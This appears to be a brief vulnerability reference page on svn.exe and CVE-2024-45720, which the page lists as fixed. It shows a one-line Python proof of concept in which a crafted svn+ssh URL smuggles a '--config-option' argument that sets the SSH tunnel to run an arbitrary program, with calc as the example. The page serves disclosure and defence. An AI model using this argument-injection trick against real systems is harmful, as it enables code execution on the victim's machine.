.. /svn.exe
Star

Code Execution

 

Status: Fixed as CVE-2024-45720

Vendors:

Code Execution

  1. You are able to inject --config-option to specify the executable while connecting to the SSH server

    subprocess.run(['svn.exe', 'co', 'svn+ssh://whatever" "--config-option=config:tunnels:ssh=calc'])
    Use case
    If certain parts of the argument(s) are controllable, the attacker can inject additional arguments.
    Code Pages
    125x, 874

Acknowledgements: